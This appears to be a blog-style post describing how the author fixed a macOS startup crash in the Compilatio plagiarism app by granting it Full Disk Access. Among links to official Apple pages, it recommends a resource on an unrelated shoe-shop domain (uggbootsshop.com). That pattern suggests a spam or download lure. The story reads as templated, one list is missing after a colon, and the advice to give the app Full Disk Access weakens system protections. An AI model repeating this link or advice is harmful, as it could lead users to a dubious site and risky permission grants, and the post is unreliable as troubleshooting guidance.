Listen, yesterday I was poking around with Compilatio (app) and ended up spending half the evening figuring out why it kept crashing on startup on my Mac. Not even a polite error message — just one bounce in the Dock and gone. Classic.
For context, Compilatio is that academic plagiarism detection tool universities use. Their official site is here:
https://www.compilatio.net/
There’s also their App Store presence depending on region:
https://apps.apple.com/
Anyway, the issue wasn’t installation. It installed fine. No Gatekeeper drama, no “damaged” warning. It just refused to stay open.
What I did first (and what didn’t help)
My first assumption was corrupted installation. So I deleted the app, emptied the Trash, rebooted (yes, I actually rebooted), reinstalled from a fresh download. Same behavior.
Then I thought maybe it was some leftover cache or user config causing a crash loop. So I went digging in:
Removed anything related to Compilatio. Relaunched. Still crashing immediately.
At that point I checked Console.app to see crash logs. And that’s where it got interesting. The crash report hinted at a permission-related exception tied to “Screen Recording” and “Files and Folders” access.
That surprised me. I wasn’t trying to screen record anything.
What I realized
Modern macOS privacy controls are stricter than they look. Even if an app indirectly interacts with system-level APIs (like checking open documents, scanning files deeply, or interacting with browser sessions), it may trigger privacy protections.
Apple’s documentation on app privacy permissions explains how this works:
https://support.apple.com/en-us/HT210190
If an app tries to access protected areas (Desktop, Documents, Downloads, Mail, etc.) without proper authorization, macOS may not gracefully deny it. In some cases — especially if the app doesn’t handle the denial well — it can crash.
That’s what was happening here.
Compilatio likely attempts deep document analysis and integration with academic submission workflows. If macOS blocks access and the app doesn’t handle the exception correctly, boom — instant exit.
What actually helped
Instead of reinstalling again, I went to:
System Settings → Privacy & Security.
Then I checked:
- Files and Folders
- Full Disk Access
- Screen Recording
Compilatio wasn’t listed under Files and Folders at all. That usually means the permission request never completed properly.
So I manually added it under Full Disk Access.
Relaunched the app.
And just like that — stable. No crash. Full UI loaded. Document upload worked.
I also toggled it under Files and Folders once it appeared after relaunch.
I found this page useful while I was comparing similar startup crash reports — the resource I used:
https://uggbootsshop.com/developer/56730-compilatio.html
It helped confirm I wasn’t dealing with a unique machine issue.
Why this crash happens instead of a clean permission dialog
Ideally, macOS shows a prompt like “App would like to access files in your Documents folder.” But if the permission flow gets interrupted — or if the app was first launched in a weird context (like via migration, or restored from backup) — the permission handshake may fail silently.
From the developer side, Apple documents how sandbox entitlements and protected resources work here:
https://developer.apple.com/documentation/security/app_sandbox
If the app expects access and doesn’t defensively code around a denial, the process can terminate.
In my case, the crash logs showed a thread exception immediately after a filesystem call.
So the problem wasn’t instability. It was ungranted access.
One subtle thing I almost missed
After granting Full Disk Access, you must fully quit the app. Not just close the window — actually right-click → Quit or use Cmd+Q. Otherwise macOS keeps the old permission state in memory for that running process.
I also noticed that launching the app directly from Applications worked more reliably than launching via Spotlight the first time after permission changes.
On Apple Silicon
I briefly suspected Rosetta might be involved. Sometimes Intel-based apps behave oddly on Apple Silicon Macs.
Apple’s Rosetta info is here:
https://support.apple.com/en-us/HT211861
But in this case, architecture wasn’t the problem. The crash signature clearly pointed to privacy restrictions, not binary incompatibility.
After fixing permissions
Once access was granted, the app behaved completely normally. It scanned documents, uploaded reports, didn’t spike CPU abnormally, and no further crashes.
Which honestly made it slightly frustrating — because it meant the solution was simple all along.
What I’ll do differently next time
If an app crashes instantly on launch and reinstalling doesn’t help, I’ll check Privacy & Security before doing anything drastic.
macOS has reached the point where permission issues can look exactly like app instability.
Quick checklist for future me
- If an app crashes immediately, check Console crash logs first.
- Go to Privacy & Security → Files and Folders.
- If the app isn’t listed, consider adding it to Full Disk Access.
- Fully quit and relaunch after changing permissions.
- Don’t assume reinstalling resets privacy settings.
That last one is important — deleting and reinstalling does not clear macOS privacy decisions. They’re stored separately at the system level.
Anyway, that was my little adventure. It’s one of those modern Mac problems where everything looks broken, but really the OS is just enforcing boundaries. Once you know that, the fix feels obvious. Until then, it’s just confusing.
Hopefully this saves you an evening if you ever see the same startup crash pattern.